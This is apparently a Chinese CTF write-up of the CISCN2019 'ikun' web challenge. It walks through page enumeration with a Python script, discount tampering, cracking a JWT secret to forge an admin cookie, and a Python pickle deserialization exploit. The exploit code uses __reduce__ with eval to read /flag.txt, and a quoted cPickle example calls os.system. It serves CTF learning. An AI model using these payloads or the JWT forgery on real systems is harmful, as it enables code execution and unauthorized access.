[CISCN2019 华北赛区 Day1 Web2]ikun


要买到LV6
找了半天没找到LV6!

先跑一下:lv6
薅羊毛逻辑漏洞
import requests url="http://dd06ae69-eeba-4014-a31e-1401da0ed6a1.node3.buuoj.cn/shop?page=" for i in range(0,2000):
r=requests.get(url+str(i)) if 'lv6.png' in r.text: print (i) break
|
跑出来是181!
lv6太贵了!买不起!
抓包,可以修改他的折扣!

访问/b1g_m4mber

JWT-COOKIE伪造
认识JWT
简单的说就是 数据的传输的时候不是有格式嘛! 如果用的是json格式的传输!
JSON Web Token (JWT) 就是json安全传输的一个标志!
用于作为JSON对象在各方之间安全地传输信息。有了JWT该JSON信息可以被验证和信任!
抓的包里还看到了JWT,拿去解码

可以看到和我输入的用户名一样!
爆破jwt密钥!
爆破密钥:
https://github.com/brendan-rius/c-jwt-cracker

我是benbi 安装个东西按个半天!自己make编译就🆗了!
爆出密钥后!
直接伪造admin!

直接进来!

源码里又unicode加密!解密后:

他说后面在LV6里,其实刚刚以admin的身份进来后!就看到了!
直接代码审计!
后端用python写的!直呼爆炸!
看了看看晕了!还是直接看看漏洞原理和利用把!
php和python反序列化漏洞分析:
https://xz.aliyun.com/t/7751
之前学习学的不够透彻!发现一个问题!
当类里面有两个$name时!
虽然对象被创建后!先调用__construct但是:
输出对象$name的值时!图二还是2!
可以理解成函数调用完后里面的局部变量直接消失!
所有函数里的$name是局部变量!函数结束后他也就没了!


python序列化与反序列化!:
python
中序列化一般有两种方式:pickle
模块和json
模块,前者是python
特有的格式,后者是json
通用的格式。
以下均显示为python2
版本序列化输出结果,python3
的pickle.dumps
结果与python2
不一样。
反序列化是pickle.loads
Python魔法方法指南
https://blog.csdn.net/bluehawksky/article/details/79027055
python之urlencode(),quote()及unquote():
https://blog.csdn.net/wf592523813/article/details/79141463
如果只想对一个字符串进行urlencode转换,使用urllib提供的另外一个函数:quote()
import urllib.parse data={"name":"王尼玛","age":"/","addr":"abcdef"} print(urllib.parse.urlencode(data)) print(urllib.parse.unquote("name=%E7%8E%8B%E5%B0%BC%E7%8E%9B&addr=abcdef&age=%2F")) print(urllib.parse.quote("hahaha你好啊!")) print(urllib.parse.unquote("hahaha%E4%BD%A0%E5%A5%BD%E5%95%8A%EF%BC%81"))
|

看着到题的admin.py:
import tornado.web from sshop.base import BaseHandler import pickle import urllib
class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html')
@tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)
|
p = pickle.loads(urllib.unquote(become))
这里他把become UR解码!再loads反序列化出来!
exp:
import pickle import urllib
class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload()) a = urllib.quote(a) print a
|
总结:
这到题: 逻辑漏洞! jwt伪造! python反序列化!主要是python反序列化!不是很懂他的库!但是和php原理是一样的!只不过函数变了,有点陌生! 这个题昨天看了一天!主要是python啥也不懂!学了好久python!
|
【技术分享】从一个CTF题目学习Python沙箱逃逸
https://www.anquanke.com/post/id/85571
Python反序列化漏洞的花式利用:
https://xz.aliyun.com/t/2289
关于Python sec的一些简单的总结:
http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
看下面这个好理解!
(Python)cPickle反序列化漏洞:
https://blog.csdn.net/SKI_12/article/details/85015803
import cPickle class Person(object): def __init__(self,username,password): self.username = username self.password = password def __reduce__(self): return (__import__('os').system, ('calc.exe',)) admin = Person('admin','123456') result = cPickle.dumps(admin) user = cPickle.loads(result)
|